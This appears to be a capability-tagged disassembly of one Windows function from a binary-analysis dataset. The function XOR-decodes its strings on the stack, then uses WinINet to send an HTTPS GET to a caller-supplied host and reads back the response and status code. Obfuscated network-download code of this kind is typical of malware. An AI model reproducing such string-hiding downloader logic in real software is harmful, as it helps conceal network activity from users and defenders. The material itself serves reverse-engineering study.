Function at 0x6ff918e0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
movabs rax, 0x6b746a1511110d45
push r15
push r14
push r13
push r12
mov r12, rcx
push rbp
mov rbp, rdx
push rdi
push rsi
push rbx
mov rbx, r8
sub rsp, 0x558
mov byte [rsp + 0x159], 0
lea rdx, [rsp + 0x158]
mov byte [rsp + 0x158], 0x74
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x150]
mov rsi, rax
xor byte [rax + 1], 0x45
inc rax
cmp rax, rdx
jne 0x6ff91931
lea r15, [rsp + 0x151]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov byte [rsp + 0x159], 0
mov rcx, r15
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
mov eax, 0xe6
test r13, r13
je 0x6ff91bde
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rdx, r12
mov r8d, 0x1bb
mov dword [rsp + 0x30], 0
mov rcx, r13
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x6ff919cc
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0xe5
jmp 0x6ff91bde
mov byte [rsp + 0x154], 0
xor r9d, r9d
mov r8, rbp
mov rdx, r15
mov dword [rsp + 0x150], 0x54454726
mov rcx, rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x80800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r12, rax
test rax, rax
jne 0x6ff91a37
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r13
call rbx
mov eax, 0xe4
jmp 0x6ff91bde
mov edx, 6
mov dword [rsp + 0x44], 0xffffffff
lea r8, [rsp + 0x44]
mov rcx, rax
mov r9d, 4
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov byte [rsp + 0x16a], 0
movabs rax, 0x273d36273d3c1053
lea rdx, [rsp + 0x169]
mov qword [rsp + 0x150], rax
movabs rax, 0x27736936232a077e
mov word [rsp + 0x168], 0x595e
mov qword [rsp + 0x158], rax
movabs rax, 0x3f3e273b7c272b36
mov qword [rsp + 0x160], rax
mov rax, rsi
xor byte [rax + 1], 0x53
inc rax
cmp rax, rdx
jne 0x6ff91aab
xor r9d, r9d
or r8d, 0xffffffff
mov rdx, r15
mov rcx, r12
mov byte [rsp + 0x16a], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6ff91b13
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
mov ebx, eax
call rsi
mov rcx, r14
call rsi
mov rcx, r13
call rsi
xor eax, eax
cmp ebx, 0x2ee2
sete al
lea eax, [rax*4 + 0xe3]
jmp 0x6ff91bde
mov ecx, 1
lea rbp, [rsp + 0x48]
call sub.msvcrt.dll_malloc
mov dword [rsp + 0x48], 0
mov r15, qword [sym.imp.WININET.dll_InternetReadFile]
mov qword [rbx], rax
mov byte [rax], 0
mov r9, rbp
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r12
call r15
test eax, eax
je 0x6ff91b94
mov edx, dword [rsp + 0x48]
test edx, edx
je 0x6ff91b94
mov r8, qword [rbx]
mov byte [rsp + rdx + 0x150], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r8
repne scasb al, byte [rdi]
mov rax, rcx
mov rcx, r8
not rax
add rdx, rax
call sub.msvcrt.dll_realloc
mov rdx, rsi
mov qword [rbx], rax
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [rsp + 0x48], 0
jmp 0x6ff91b37
lea r15, [rsp + 0x50]
lea r9, [rsp + 0x4c]
mov edx, 0x13
mov rcx, r12
mov r8, r15
mov dword [rsp + 0x4c], 0x100
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call rbx
mov rcx, r14
call rbx
mov rcx, r13
call rbx
mov rcx, r15
call sub.msvcrt.dll_atoi
add rsp, 0x558
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret